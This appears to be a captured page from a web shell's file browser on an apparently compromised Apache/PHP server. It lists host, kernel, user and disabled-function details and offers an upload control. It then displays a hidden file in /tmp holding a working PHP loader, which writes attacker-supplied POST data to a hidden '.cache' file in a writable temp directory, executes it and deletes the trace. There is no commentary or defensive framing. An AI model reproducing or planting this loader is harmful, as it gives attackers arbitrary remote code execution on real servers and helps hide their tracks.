HEX

Server: Apache/2.4.54 (Unix) OpenSSL/1.0.2k-fips

System: Linux f17.eelserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64

User: zulfiqar (1155)

PHP: 8.2.0

Disabled: mail, exec, system, popen, proc_open, shell_exec, passthru, show_source

Upload Files

File: //tmp/jKAx6ZnInzk7q7

<?php $dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode($_POST["yd"]);foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.cache";if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die("!notwrtbl!");